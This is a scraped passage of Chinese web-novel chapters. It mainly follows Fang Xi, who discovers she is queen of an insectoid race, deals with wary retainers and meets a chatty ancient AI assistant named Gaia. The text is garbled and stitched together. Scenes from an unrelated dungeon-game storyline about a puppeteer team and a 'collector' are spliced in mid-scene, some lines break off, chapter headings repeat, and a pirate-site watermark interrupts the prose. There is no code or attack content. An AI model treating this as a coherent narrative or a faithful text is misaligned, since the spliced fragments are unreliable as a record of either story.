浅蓝色的四面墙壁完全封闭，甚至连一丝缝隙也没有。方羲离开床，头发随着水体飘动，眼眸平静地盯着正对着的墙壁。 墙壁之外，足足有十几名虫族存在。 【发什么呆？还不快配合卡蕊莎殿下解开入口。】 这是做什么？ 方羲微微皱起眉头。 顷刻间，墙壁中间生出一道细小裂缝，随后极快地向外蔓延破碎，空间内部的水体也倾泻而出。 方羲身体却平衡得很好，站在原地，并未受到水体冲击太大的影响。 “陛下……”其中一名雌虫欲言又止，神色间带着惶恐和喜悦。 “别动。”方羲平静地说。 同时刻，方羲忍不住放出几道立体交织的黑线，牵制包围住虫族。有的黑线甚至隐隐贴近他们的身体，只要稍微有些什么大幅度的举动，便会立刻被黑线切割成肉块。 方羲问：“你们治好了我的伤？” 如果只凭靠她自己，自然无法做到这种地步。但即使感谢他们的帮助，方羲依然持有怀疑。 更何况……方羲视线缓缓落在那名为首的雌虫身上。 毕竟方羲看似冷漠对一切毫不关心，平日习惯回避争斗和隐藏自身。但内里却藏着浓厚的掌控欲，时刻警惕着外界，也不想容忍任何限制她行动的存在。 而且方羲话语间总会无意识地透露出一丝威慑，在她面前的虫族亦无法反抗这种来自本能的压迫。 看着这些虫族诚惶诚恐的模样，方羲忽然想起什么。 意外的精神链接，方羲也因此触摸到一个真相。 ——她是虫族的王。 但这又有什么意义呢？ “陛下，您的致命伤已经完全恢复，但还有一些慢性病需要调理。”终于，为首的雌虫顶着方羲无意识释放的威压，站出来打破沉默。 雌虫眉眼柔和，淡粉色的头发被整齐地扎起来，全身上下没有丝毫攻击性，自带一种温和无害的气质，但身形依然比方羲高上许多。 “你是谁？” “我的名字是卡蕊莎·伊洛斯。”她轻声细语地说，微笑着露出两个酒窝。 “这是哪里？” “R27星太阳之城的治疗中心。” “那么。”方羲略微沉凝了一会，收回了黑线对他们的限制，“我该支付什么报酬呢？我想离开了。” 话音刚落，伴随而来一阵窒息的死寂。 方羲所指的“离开”，并不是离开现在的所在地，而是回归平时的流浪生活。此刻的她虽然明白了自己的身份，却没有任何一丝身为女王的意识感。 卡蕊莎接收到耳边光脑传来的讯息，脸色不变，但方羲却察觉到她身上的情绪气息似乎有些絮乱。她顿了顿，温声道：“我明白了。您并不需要给予任何报酬，这是我们该为您做的。请先让我为您带路，处理身上的营养液。” 方羲跟着卡蕊莎，清理掉身上黏糊糊的液体，换了一身干净利落的衣服。 “我的光脑呢？”方羲问，摸了摸手腕。 “抱歉，已经损坏了。”卡蕊莎回答，“但我们可以将数据传输到新的光脑里。陛下，您对光脑有什么要求吗？您喜欢什么样的款式？” “都可以。”方羲对这些没什么所谓，只是漫不经心打量着四周的环境。 和过去一贯冰冷的金属建筑风格不同，这里似乎经过了更加精细温和的设计，木色地板、精致的雕像、花瓶里插着好像永不枯萎的鲜花，种种细节都透露出几分人性感。 说是治疗中心，其实这里专门建造只为方羲服务，内外围都由高级军队驻守着。 卡蕊莎心底几番思忖，即使她与另外几位高权限者探讨过有关瑞行事风格的问题。但此刻真正与方羲接触时，连以心思缜密闻名的她，一时之间也难以拿捏与方羲相处的分寸。 除了格外强烈的防备和警惕之外，卡蕊莎没有从方羲身上感受到丁点的情绪，也无法在对话中收到任何喜恶的反馈。 卡蕊莎对此非常不安。如果她无法贴合女王的心意和潜在需求，那么也将会失去作为侍奉者这个来之不易的职权。 于是方羲获得了一只新光脑，据卡蕊莎介绍，这款是虫族专为她而定制的。 “陛下，您想继续使用【罗萨】的身份ID吗？”卡蕊莎说，语气里透着理所当然，“但您的身份，完全享有最高权限查看虫族一切信息。” 方羲重新将视线缓缓落回卡蕊莎身上，却并未多言。 卡蕊莎顿了顿，声音变得更加轻柔：“抱歉……直到现在，我们才得知您的存在。关于您所遭遇的意外，经过彻查，那是由联盟和部分蒙斯特虫族勾结所为。” “是吗？”方羲不咸不淡地回答，将话题转向她更好奇的事情上，“最高权限能看到什么？” 见方羲似乎终于起了些别的反应，卡蕊莎的眼睛里闪过一点喜悦，然后认真解释说：“所有机密情报在您这里都将透明化，名下星球的各项指标，也可以精确到每位虫族的具体信息……” 总而言之，虫族的一切信息在方羲眼里就不是秘密，完全由她所掌控。 “不过。”卡蕊莎话锋一转，“我们的虫网原本只是女王不在位的临时辅助，或者偶尔用在日常沟通和娱乐。但失去女王的精神识海之后，光脑才逐渐成为我们沟通的主要手段。” 浩瀚无垠的精神识海，埋藏着虫族千万年以来的所有基因信息。 “听上去很有趣。”方羲若有所思，“你很坦诚。” “没有任何虫族能在您面前撒谎。”卡蕊莎笑了笑说，“我被任命为这段时间临时的侍奉者，也会为您提供所有疑问的解答。” “当侍奉者很重要吗？” “……”卡瑞莎微不可察顿了顿，“即使现在我们虫族的数量已至低峰，但能亲眼见到您，可是亿万分之一的机会。” 更不必说能和方羲长期接触。 “而且筛选侍奉者的条件非常严苛。”卡蕊莎诚恳地说，“力量、精神力、背景，还有最重要的忠诚之心。” “那你忠诚于我吗？”方羲似乎只是随意一问，眼神也并未放在卡蕊莎身上，只是遥遥看向落地窗之外的壮阔景象。 远处，天色碧蓝清朗，一片安详，原先时刻存在的轰鸣声也全部消失，仿佛战争从未发生过。 “当然。”卡蕊莎笃定而果断地回答。 闻言，方羲略有惊讶回过头，自醒来之后第一次露出微笑，眼眸里却透着与笑意不符的森然冷意，语调似乎也刻意模仿着卡蕊莎状似无害的柔和：“可你一开始不是想杀了我吗？” 她现在是虫族的王，但曾经亦是最底层的弱者之一，自然对这种潜藏于幽深之处的隐秘杀意最为熟悉。 如果现在她依然弱小呢？会沦为一个维持种族生命延续的傀儡吗？ 卡蕊莎心底顿时掀起滔天巨浪，哑言许久，才在方羲平静的注视下回答：“抱歉……我的基因缺乏最重要的一环，我天然不具备臣服女王的本能。因此在感受到您身上的威压时，第一反应便是抵抗。” “但我别无二心。” 方羲轻轻一笑，因为卡蕊莎的言辞徒生几分兴趣，也就忽然改变了决定：“那我留下来吧。” 真有趣。 一个以女王为根系的种族，枝叶已经腐烂到这种地步了吗？ 方羲想得很简单。与其时不时遇见对她抱有恶意的虫族，需要反复去解决麻烦，倒不如操控全局，为她所用。 这样就无人敢胆冒犯她。 何况方羲不想再犯上次那样威胁自己生命的错误了。 “我想休息了。”方羲忽然说。 卡蕊莎顺从方羲的意愿，带她到专属“卧室”，推开门，内部实为别墅，装潢精致，一切应有尽有。 然后卡蕊莎把握尺度，在不令方羲厌烦的程度上，又温和提醒了下方羲短期内千万别再过度使用力量等云云，后续会再次为方羲检查身体。 与方羲分开后，卡蕊莎才渐渐敛去脸上的温和笑意，眼神暴露出危险冰冷宛如狩猎者的情绪。 耳边光脑传来一阵掌声，对方假意叹气一声，说不清是夸奖还是讽刺，似笑非笑地说：“向来阴险狡诈的卡蕊莎，究竟是什么时候拥有了‘诚实’这种品质呢？” “请让你胸腔中那个火焰颜色的灵魂，一直燃烧下去吧。”方羲说，“我只和这样的灵魂兑现约定。” “如果连你也熄灭了，我又能去哪里找活着的、能够参照自我的同类呢？” 秦淮月听明白了方羲的潜台词，脸上露出了一个发自内心的笑容，重复补充道：“我会一直活着，等你来伊甸园兑现约定。” “这还差不多。” 旁边的徐万念听了半天，虽然没听懂，但眉头一皱，发出灵魂的质问：“什么意思？白乌鸦，只有秦长官才是你最重要的队友吗？那我们又算什么？” 方羲：“啊？” 方羲呆滞了一下，忍不住看了看另外两个人，本来想让他们站在自己那边帮她解释一下…… 结果发现，连宋白玉和踏樱也面露问责之意，表情非常夸张、认真。好像如果她不好好解释，就会发生非常严重的后果。 方羲：“……” 方羲期期艾艾地说：“我、我没这个意思。” 第 159 章 第 159 章 面对三名队友的问责，方羲绞尽脑汁解释了一番。但幸好他们都只是开玩笑，没有什么刁难的意思，并且看在方羲认错态度还算诚恳的份上，勉强放过了她。 对话回归正事上。 方羲决定后天正式离开蝴蝶小镇！ 虽然这里像个新手村一样，但不排除外面世界更危险的可能性，所以在离开之前，他们有很多准备工作要做。 第一步是规划出行路线。 方羲让打工眼珠子去跑腿买来了四份崭新的地图，人手一份，可以更方便交流。当然最主要的原因是，这样五个人就不用挤在一起看同一张地图，这让方羲感觉又憋屈又紧张。 她是一名内向冷酷的人类，和其他人的社交距离不应该有零厘米那么近。 至于旧的那份地图，就留到方羲手上。 这算某种暗示吗？ “陛下，您想出去逛逛吗？”安纳斯转移话题，朝方羲狡黠地眨眨眼，“R27星虽然还在重建当中，但太阳之城还看得过去。” 方羲一顿，然后慢慢地说，“你们似乎没有选择强行将我带离R27星。” 以虫族的科技水平来说，长途跃迁是件轻而易举的事。而R27星本身的发展也说不上有多好，又深受战争侵蚀。 安纳斯与卡蕊莎对视了一眼，于是安纳斯整理好抽取的医用工具，微微一笑，从座位上站起来抬手碰了碰空气中某处。 霎时间，面前浮现出一片宽大的立体图像，标示出正常状态下R27星的模样，整体色调为渐变的土色，还有一些条形状的黑色禁域，放大后还能更加清晰地看见每一处具体实景，细微到泥土颗粒。 随后，画面另一半又出现另外一个R27星，但和上一个不一样的是，星球整体被鲜明细长的黑线包围。从宇宙角度远远看去，其中甚至有一个像是血雾与线条构成的巨眼，让原本平淡无奇的星球变得诡异。 即便只是记录过去的图像，但肉眼盯得久了，也容易陷入某种思想疯狂的深渊。 安纳斯注意到方羲一直沉默不语，神色漠然，又继续挂着优雅微笑说道：“我的意思是……陛下，您的力量无意识当中隐含着自己的意志。即使您昏迷之后，力量也依旧强势性蔓延了足足半个月，R27星上大部分能源石和植物都化为了你的食粮。” “……”方羲自我反省了一下，这意思是她把R27星“吃”空了？ 说到这，安纳斯竟然遗憾地轻声嘀咕了一句：“陛下您为什么不选择吃掉其他虫族呢？明明更有营养一些……” “安纳斯。”卡蕊莎冷声提醒。 安纳斯没受到丝毫影响，他与卡蕊莎地位同等，力量也不相上下，自然也不会有多少畏惧退缩的感受。不过他还是稍稍正色了下，回归正题：“因此，最正确的选择应该是将您带往主星治疗，但我们无法、也不会违抗您的意志，才退而求其次停留在R27星。” “现在，R27星被列入重点保护星球，我们会将它建设到足以配得上您的程度。” 方羲对虫族隐隐的讨好没有丝毫触动，只是安静盯着安纳斯的眼睛说：“看来虫族与联盟的战争没有结束。” “……是的。”安纳斯心底为方羲的敏锐惊异了一瞬，诚实地说，“许多只有中低等虫族生活的星球，尚处于水深火热之中。” 联盟怕归怕，但也善于挑软柿子捏，尤其在虫族将主力的精英军团分往R27星驻守的情况下。 方羲忽而微叹一声，慢慢站起来，冷淡地说：“你们似乎在试图唤起我的怜悯。既然如此，带我前往战情最糟糕的星球吧。” “——！”在场所有虫族纷纷一愣，连一直温和的卡蕊莎也露出几分焦灼，“不，陛下。我们的本意不是如此，您不必前往这样危险的地方。” “但这是我的命令。”方羲淡然道。 “……是。”卡蕊莎虽然心底不安，但也反应迅速地回答，“那我马上安排出行的星航。” 在众高等虫族的设想当中，对于尚且处于幼生期的女王陛下，目前更重要的事情是修复身体与消除她对虫族的防备，其实不必接触高危事件。 卡蕊莎也没料到，方羲的想法格外果断，甚至没有一点预兆。 至今为止，他们也完全不清楚方羲的过去和来历。卡蕊莎也隐隐觉得，方羲并不会告知他们任何有关自己的事情。 按理来说，女王诞生会有伴生的虫族。但目前存在的保护者年龄与方羲没有一个匹配，跟随在方羲身边那名雄虫也很年幼。 “两天后，不用现在。”方羲说，她还需要时间处理此前混血者的事- 方羲独自待在卧室内，打开光脑尝试找到C013的信息界面，然后将对方加入联系列表，盯着屏幕陷入长久的思索。 姓名：爱狄丝·霍克 编码：C013号混血者 状态：正常 能力：精神蛊惑 方羲伸手轻触屏幕，直接将C013的权限提升到合适的程度，这样她可以通过光脑获取更多高级资讯和数据。且C013身体有方羲力量的加持，遇敌而死亡概率也很低。 她想起当时C013泛起璀璨希望的双眼，混杂了兴奋、谨慎与跃跃欲试，却唯独没有一丁点惧怕未知势力的情绪。 C013很弱，却仿佛天然带着巨大无限的可能性。 她能走到哪里呢？方羲由衷地感到好奇，又出神地越过半透明屏幕，望向窗台外的远方。眼睛化为兽瞳，翻腾着令人惊惧的掌控欲。 忽然，光脑屏幕滋啦地乱码了足足几秒，随后一道冷冰冰的机械声凭空出现：“智能意识系统已激活。女王陛下，您好。” “请选择人格载入类型。” “……” 方羲沉默了，只见屏幕上被无数形容性文字占据，开始怀疑虫网是不是被什么病毒入侵了，于是先选择漠然以待。 “好的。检测到陛下性情比较冷漠，优先采用活泼话唠的人格类型。” “你是什么东西？” “陛下，我不是东西。我是第七百代女王在位时期所制作的智能意识系统，上一次更新在星历4051年，用途为辅助解答女王陛下的各种疑问。” 屏幕上密密麻麻的文字逐渐消失，回归到原本的界面，不过有一个星辰微粒组合而成的笑脸表情挂在上面，努力让自己显得可可爱爱。 方羲怀疑地问：“那你为什么现在才激活？” “呃。”原本冰冷的机械声被它自主替换成清朗的中性音，声音里隐约带着一丝心虚，“这没办法……我都尘封了三千年了，一时有些短路很正常。” “你能做什么？”方羲想了想说，“那你把虫族名下正处于战争的星球信息发送给我。” “抱歉，我的信息库尚未更新到此项数据。” 方羲顿了顿，换了一个要求：“那把界面切换到R27的全局立体地图。” “我还在努力与现代新型科技接轨。” “……”方羲沉默几秒，了然道，“我明白了，你只是一个没用的聊天工具。” 它愣了愣，挣扎地喊道：“陛下！只要是任何与数据相关的事情，我都能做！” 于是方羲伸手想要将光脑关闭，智能系统声音愈发焦灼，可怜兮兮地说：“等等，陛下……只要给我一点时间，我很快就会更新完毕。” “你的存在似乎很多余。”方羲语气略有困惑，微微眯起眼睛，“虫网本就自带庞大的信息库，使用起来也很快捷。为什么要创造你这样一个拟人化的智能系统？” 虫网本身也有智能系统这项功能，但只是为了辅助信息搜查和一些娱乐向玩法。联盟的星网也是如此，不足为奇。 而且卡蕊莎并未对她刻意提及过这个智能系统的存在。 难道是不知情吗？ 它停顿了一会，像是真实生命那样短暂思考一样，然后才故作矜持地说：“是的，陛下。我真正的职能并不在于提供信息搜查与分析。哼……我可不是普通的智能系统。” 语气里甚至参杂了一丝洋洋得意和蔑视，好像瞧不上自己的“同行。” “我诞生于第七百代女王手中，好吧……一开始确实只是个普通的智能系统，后来也一直闲置尘封。直到第七百九十九代达纳娅女王唤醒并改造，我才一直运行至今。” 方羲微微垂帘，看来虫族的异变从很早就开始了。 智能系统越说越慷慨激昂，然后忽然停顿下来，屏幕上的表情变化出一对圆溜溜的简笔眼睛，表露出几分困惑不解。 “怎么？” “陛下，看来您并不需要我。我刚刚更新到您的身体数据情况，你是虫族真正意义上的女王。”智能系统声音听上去十分低落，因为这代表着它失去了运行意义。 但它很快又故作坚强道：“没关系！！陛下，等我更新完数据，我还是很有用的。” 智能系统努力保持着自己的尊严。 “陛下，你还没给我命名呢。”声音再度光脑里传来，它有些扭扭捏捏地说。 “你存在了这么长时间，难道没有名字吗？”方羲问。 它解释道：“服务每一任女王时，【我们】都会分化不同的人格意识程序，每当女王陨落，【我】也就随之消亡，等待下一次新程序激活。所以以前的名字都不能作数。” “哦。”方羲说，“那就在名字大全随机一个吧。” 智能系统假装没有听见，花费两毫秒暗戳戳为自己选择了一个满意的名字。 “好的，陛下。以后我的名字是盖亚。” 方羲一时因为他所表现出来的跳脱灵活感到难以言喻，默了默才淡然道：“我知道了，再见。” 方羲无情地关上光脑。 不料，方羲手腕上的光脑居然投影出立体虚影，一个小人半跪着，委委屈屈抹泪。 装可怜大半天，发现方羲始终不为所动，盖亚开始怀疑自己的交流程序是否太过落后，只好默默关掉投影，努力更新。 笔记本上原本空白的一页，被某人写满了长长一列的待办事项。 丑陋扭曲的黑色文字，对着方羲张牙舞瓜！ 人类！快去干活！快给我们打勾！ 方羲：“……” 方羲两眼一黑！只觉得天塌了！ 第 160 章 第 160 章 沙沙。 枝叶轻轻飘动的声音。 “梨花雪……”一名造梦家看着底下的洞穴巨湖，迟疑地说，“还要继续往下探索吗？” 首领狼轻轻蹭了蹭梨花雪垂下的手，喉咙滚出一声低呜，像是一种兽类直接的警告。 “我明白了。”梨花雪说，“天色已经很晚了，我们就先回去【安全的旅馆】吧。” “呃……这、这个。”猎人野薄荷摸了摸自己干瘪的钱包，小心翼翼地说，“我们今天赚到的铜币，只能够大家住一间大通铺。” 梨花雪沉默了。 其他队友听到野薄荷的话，也都沉默了。 氛围陷入一种相当尴尬的死寂。 说实话，他们进来副本之前，考虑过可能会发生性命危险、与队友走散、武器和傀儡损坏等种种绝望的情况。 但唯独没想到，会遇上一只黑心狐狸，把他们所有的初始积蓄抢走！就连他们身上的高级装备也不放过！！！ 利维反应过来，迟疑地说：“没什么……这样就行了，我们走吧。” 一路无言，呼吸声也刻意放轻。 但数道视线若有若无落到方羲身上，没有恶意，带着好奇和渴望。 方羲纠结了，这和想象中不太一样。 营地不算远，他们很快到达。 到了营地之后，更多视线落在方羲身上，乌拉尔一一扫视过去，暗含威胁。 初生的保护者非常容易染上女王的习性和观念，乌拉尔知晓方羲似乎隐隐厌恶和防备虫族（包括他自己），所以他也理所当然地跟着讨厌虫族。 营地内绝大多数是战斗型和辅助型虫族，他们此时聚集在内养伤，等待下一次安排出战。 方羲的出现，似是敲破了沉寂，犹如一片柔软花瓣落到水面，泛起浅浅波澜。 “天，她是从哪里来的？” “好可爱……” 林斯冷脸让队员散开去休息，假意咳嗽几声，全程顿时悄然无声。 “应该还有空的房间。”利维说，“你们跟我来吧。” 三名虫族走到空旷的走廊，纷纷默默不语。利维在快速思考如何试探出方羲更多信息，乌拉尔不想和除了方羲之外的家伙交流，方羲则是一时陷入世界观动摇的迷茫。 “我需要支付什么？”方羲回过神开口问，“作为暂时借住的费用。” 利维忍不住笑了声，答非所问地说：“营地也不安全，你居然没跟着前阵子的星航离开R27星？” 方羲淡淡应了一声，不想过多解释利维的问话。 她有能力让自己存活下来。 利维顿了顿，扫了眼寸步不离方羲的乌拉尔。 一个诞生不久的虫族，能力竟已有比肩成年雄虫的资格。 利维微微一笑，语气一反常态的认真：“必要时，您能协助我们吗？” 方羲刹那间明白利维似有似无的暗示，停下脚步，转头注视着利维，美丽的异眸倒映出利维的面孔。 耳边依然能听见永恒的悲鸣和嘶叫，心跳式微的鼓动声。 无数虫族的生命在逝去。 但方羲视他们于无物，同族和当初“罗萨”的死亡没有区别，都如脆弱的蝼蚁一样。 现在，强壮而富有心计的蝼蚁试图从自己身上谋取一线生机。 方羲好奇地问：“你想要协助到什么程度？” 铺天盖地的压迫直朝利维而来，他身体轻颤，竭力维持平静，咽下让方羲参与战斗的话，强力微笑着换了个想法：“只是我而已，我想要活下去，而不是身死在战场上。” 真诚又自私的请求。 方羲安静凝望了利维一会，勉强接受，顺着他的意思回答：“好吧，如果你遇到危险的话。” 方羲完全没意识到她思考的瞬间，所释放出强大的慑力，连乌拉尔一时也鸦雀无声。 危机解除。利维悄悄松了口气。 “就是这里了。”他们停在一间房门前，利维说，“毕竟是临时的军事用地，条件不会太好，每天的营养液需要你们自行到大堂领取。” 利维又指了指对门，对乌拉尔说：“既然你们是一起行动的，那么房间就挨近点吧。” 乌拉尔顿时警铃大作，预感到某个糟糕的走向。 “我先回营地了。”利维笑笑说，“平时还有很多事情要办，不能陪你多说了。如果你有什么疑问的话，随便抓个后援虫族询问就是了。” 方羲点了点头。 利维转身离开。 “方羲……”乌拉尔可怜兮兮，“我想跟你一个房间！” 方羲推开房间，面积不过小小的一室一厅，冰冷的金属风格。 她瞥了眼两个房门相隔不过几步的距离，无情地说：“不要，你自己住。” 少年一脸失望，但依然睁着一双清透的银色兽瞳注视方羲，企图装可怜蒙混过关。 方羲把门关上了。 乌拉尔：“……呜。”- “她不是个普通的雌虫。”林斯皱眉说，语气严肃，“你应该立刻向主星上报。” 利维没立刻回答，把玩手里的试管，里面装着不过几毫升的透明液体，但它却是延缓虫族精神崩溃的救命稻草。 “看来你有别的想法。”林斯冷冷地说，“其他事情我从不会多加干涉，但既然涉及原则性问题……” 利维漫不经心笑了笑，蓦然打断了他：“我们早就不谈王女这类存在了，现在的她们只是多了一点点潜质，永远不可能成为真正的女王，平时跟正常雌虫没什么区别。你倒也没必要执着查个究竟吧？” 林斯始终一脸不赞同的神色，并未动摇：“如果你依然我行我素，我也只好越过你行动了。” “据我了解。”利维说，“她似乎隐隐厌恶着‘我们’。这一点，你应该也能察觉到。林斯，连我也无法查明她真正的权限，你难道不认为自己的轻举妄动会引来糟糕的结果吗？” “更何况。”利维神秘地说，故意拉长声音，“我可是和她做了一个交易。” 林斯扯了扯嘴角，说：“你知道你这副模样像什么吗？先行一步得意洋洋的蠢狗。” 利维不以为然，笑眯眯地说：“随你怎么想，这件事就此为止吧。接下来，我们还是好好安排最近的兵力分布吧……”- 方羲抬头看着饭堂大屏幕上显示的今日菜谱： 营养液。 金鳞碎蟹肉。 石岩星兽骨。 沙漠六足齿鱼。 …… 方羲第一次见到真正属于虫族的菜谱，虽然名字奇奇怪怪的。 “方羲。”乌拉尔哼唧哼唧低声抱怨，“昨天我们离得好远。” 从方羲一推开门准备去营地的饭堂，乌拉尔就敏锐察觉蹦出来跟在她身后。 方羲懒得搭理乌拉尔的嘀嘀咕咕，走到数量最少的一列排队，乌拉尔紧紧跟上。 结果身后以不可思议的速度多出了十几名虫族，但后面的虫族倒也礼貌地和方羲保持很长一段距离。 方羲扫了眼附近餐桌上的虫族，总感觉她转头的瞬间这群虫族立刻心虚地转移视线。 好像的确不会攻击自己，也没有恶意。 真奇怪。 很快排到他们，饭口显然是机器分配，方羲问乌拉尔：“你想吃什么？” 乌拉尔果断回答：“和方羲一样的！” 方羲尝试性随便点了几下屏幕菜品选项，像营养液一类的万能食品并不需要付钱，但她想试试其他食物。 毫无反应，方羲耐心等待了几秒，结果屏幕弹出“账户不可使用。” 方羲懵了一下：“？” 方羲不相信地又尝试了几遍，结果相同。后知后觉反应过来，也许是罗萨雷纳星人的身份，并不能在虫族的军事基地使用。 “看来您似乎需要一点小帮助？”旁边走来一名虫族，轻声道。 “我是后勤队长，诺兰·格列柯。”栗发青年说，语调温和，“利维他和我提起过您。” 方羲视线转到他身上，蓦然撞入一片清澈的青色眼眸，平和安静。诺兰身形清瘦，相比于其他虫族不存在太多的攻击性。 诺兰边这么说着，边用自己的光脑替方羲解锁了权限，略带歉意地说：“这样就可以了，你选择这些是吗？抱歉，我们这里暂时无法提供品质更好的食物，的确委屈您了。” 得到指令，机器人立刻分配新鲜出炉的食物，传递出窗口。 方羲说：“谢谢。” “这是我应尽的职责。”诺兰微微欠身，安静退后离开，竟也没有多说什么。 但他随意瞥了眼附近详装无事的虫族，淡淡一笑。 以往的饭堂可是空旷得很，他们大多只拿营养液就走了，哪有什么闲心思留在这里消磨时间？ 何况近期的营地饭堂并不分配除营养液之外的食物，今天的菜谱自然是诺兰出于私心安排的。 乌拉尔端着两盘食物，跟着方羲坐到一处四周少人的餐桌。 方羲慢悠悠吃了块肉，肉质细腻润滑，稍感意外。 乌拉尔还没动过一口，见方羲盘里某道菜空了，便说：“方羲，我这里还有。” 方羲：“……你好好地把自己的吃完。” “哦。”乌拉尔失望极了，乖乖低头吃饭。 方羲放下碗筷，随意地四处瞎看，恰好与还在饭堂的诺兰对上视线。 他明显一直在注视着自己这边的位置，被抓包也不慌乱，只是温和地笑了笑。 方羲收回视线，叹气一声：“我觉得他们很奇怪。” “敌人？”乌拉尔立刻警惕地说。 “你也很奇怪。”方羲说，“你喜欢这里吗？” 也许该把这家伙丢回虫族中去，而不是每时每刻缠在自己身边。方羲冷漠地想。 “方羲？”乌拉尔无法捕捉方羲话语的真实的含义，也未从她身上感知到一丝的情绪波动，只能疑惑地看着她，朝方羲露出个大大的笑容。 “没什么。”方羲垂下眼帘，不想触碰这份过于灼热的温暖，“走吧，总得依照诺言做点正事。” 出门前她用光脑询问过利维在哪，但一直没有回复。 方羲想了想，走向诺兰。 栗发青年见到方羲的靠近，脸色带着一丝惊喜，温声询问：“怎么了？” 方羲问：“你知道利维去哪了吗？” “他？”诺兰微愣，低头查看了一眼光脑，才压低声音说：“昨天深夜，他和林斯重新带领一批黑鸦成员，前往十点钟方向的防线镇守。” “他短期之内不会回来。”诺兰犹豫地说，“您有事情找他吗？” 方羲点点头，问：“你知道他们的具体位置吗？” 在方羲平静的注视之下，诺兰知道自己无法拒绝她一切的请求。 但诺兰也需要谨慎对待：“能告诉您的目的吗？行动路线并不能轻易暴露。” “我只是想去找他。”方羲说，“完成约定而已。” 她隐约感知到利维的身体状况没好到哪里去，似乎只比他身边的碧眼虫族好上一点。如果昨天不是乌拉尔出手帮忙，他们非死即残。 为什么明知前方通向死亡，明明想要活下去，却依然往前走呢？ 她不明白。 方羲并非具有强烈的契约精神，只是好奇这群虫族的行为逻辑，她如初生的孩童，不熟练地观察这个世界。 “我明白了。”诺兰微微一笑，说：“需要先添加您的光脑ID。” 一分钟后，诺兰看着方羲的账号信息，眼睛闪过一丝诧异，但思及利维的吩咐，只好按捺下探究的心思，把路线和位置发送给方羲。 “这是您的名字？”诺兰问，心里瞬间组织了无数赞美的语言，正纠结着挑选哪一句，“罗萨·加西亚？” 方羲一愣，迟钝地说：“……不。” “我是方羲。” 诺兰青色的眼眸里瞬间盛满了笑意。 方羲离开饭堂后，在场的虫族终于维持不下严肃的外表，七嘴八舌议论起来。 “好想去搭话！唉……” “格列柯可真狡诈啊，平时可没见他这么好说话过。” “她身边跟着的虫族似乎很年幼，力量还不成熟能担任好侍卫的职责吗？” “心脏都跳出来了，刚刚以为差点要和她对视上了！她眼睛的颜色真特别……” “安静。”诺兰拍了拍掌，笑意褪去，恢复回原来不苟言笑的样子，冷声说，“谁允许你们私底下妄加议论了？我不想再听见类似的话，休息完就早点回去做事。真当我看不出来你们的好奇心吗？” “是……” 那些傀儡师在放弃研究学习收藏家之后，反而争论起另一个话题。 ——收藏家最完美的造物是哪一个？ 他们甚至做了一个投票排名，玩得乐此不疲。 这个排名并不以力量、性格好坏分前后，因为收藏家每一只造物都是独一无二的，投票也只是纯粹出于玩家个人的喜好。 最后的结果自然是晨乌猫猫占据榜首。 毕竟这是收藏家第一只显现在众人眼中的造物，地位就跟故事中的白月光一样，不可撼动。 而排名前二的是分身经常在浮空岛游荡的夏青禾，再之后就是三只照顾着人类的猫猫。 而美丽的人偶娃娃春醒，却居于后位。 但梨花雪悄悄给她投了一票。 因为她觉得春醒才是收藏家最完美的造物。 即使在不知道“春醒是收藏家第一只造物”这个真相之前。 她身为傀儡师，也依然这么觉得。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 160-170 第 161 章 第 161 章 “你们该回家了。” 春醒赶走脸上那只调皮的晶钩蛾，目光落回梨花雪身上，想了想又友善地提醒道：“夜晚不适合人类出门。” 梨花雪愣了一下，一时间没想到该怎么回应春醒的话。 “我们正打算返程。”旁边的祝翎看了一眼梨花雪，主动替不善言辞的傀儡师接过话茬，“然后就遇上了您。” 大概是出于对收藏家的敬畏，她用上了敬称。 祝翎是一名使用西洋剑的近战猎人。 因为很早就被手握大权的管理者们点名、亲自培养过，很多时候比起“猎人”“战场兵器”的身份，祝翎在举手投足之间，那种上位者的气质反而体现得更浓烈。 谦逊，却又很傲慢。 总是善于隐晦地牵引与操控人心。 方羲望着空荡荡的客厅，总感觉自己似乎忘记了什么。 冥思苦想许久，方羲才忽然恍然大悟。 原来是一直紧紧跟随在她身边的乌拉尔不见了。 方羲闭上眼睛，试探性将感知范围放大到整个R27星，她曾在乌拉尔身上放过锁定的黑线以便追踪。 很快，方羲感知到乌拉尔的所在位置，似乎在治疗中心之外，有一段不近不远的距离。 生命体征也很健康的样子。想了想，方羲决定暂时不理会他——单纯是觉得身边二十四小时带着个挂件太麻烦了。 然后方羲起身大致在房间里转了一圈，这里有近十个房间，卧室、藏书间、治疗室、武器库、衣帽间、厨房等等，每推开一扇门都像进入另外一个小世界。 方羲走进武器间，随意摩挲着其中一把匕首的锋利刀身，眼神专注认真。这是一把制造技艺精湛的利刃，不像烂大街的量产之物，材料上等珍贵，能轻易划伤坚硬盔甲，每一处细微入致的设计都灌溉着制作者无上心血，无限贴合方羲的身形。 其余摆放的武器也是如此。 不过方羲从未使用过任何武器，她的黑线看似纤细无力，却比任何高科技刀剑都要锋利，比任何激光枪弹都更具危险性。 之前乌拉尔带来的那把应该不见了，当初留着也只是觉得好玩。方羲想了想，拿了一把顺眼的戴在腰间。 方羲重新打开光脑，本想尝试联系卡蕊莎，却看着联系列表上一连串陌生的名字，陷入诡异的沉默。 德里安·谢尔顿。 卡蕊莎·伊洛斯。 内森尼尔·斯普拉格。 埃丝特·罗伦斯。 安纳斯·克里斯托。 …… 这都是谁？ 方羲试着往下划了一会，不料列表好像无穷无尽，没有丝毫到底的趋势。 “……”方羲无言，也实在没什么兴趣点开窥视他们的个体信息。 光脑界面忽然跃动了一下，是卡蕊莎询问她是否需要进食- 餐厅内。 方羲坐在餐桌中间上，平静漠然地看着一群虫族端上一盘又一盘丰盛佳肴。 负责食物制作的几位主厨退到远处，在暗中观察女王的口味，以便日后的不断调整。 方羲采取就近原则，有什么吃什么，公平对待。过了一会，她面无表情地抬头，看了眼不远处几位虫族。 那几位虫族瞬间接受到方羲的暗示，随即乖顺地离开。 “现在星球上还有混血者在吗？”方羲问。 “当然。”卡蕊莎飞快回答，“都是战争期间从联盟手里缉获的，暂且关押在离太阳之城最遥远永夜区。不过那些都是中下等级的劣质混血者，级别更高的不在R27星内。” 卡蕊莎心底正猜测着方羲是不是想处决这些混血者。在她看来，方羲是三千年才出现的、极其珍贵的女王，虫族自然没有必要再容忍替代品的存在了。 但卡蕊莎回答也只是谨慎地陈述情况，并未妄加多言。 因为这是与阴晴难辨的方羲，目前交流最好的方式。 “那带过来吧。”方羲眼眸里带上几分兴致，声音轻快地说，“我很好奇。” 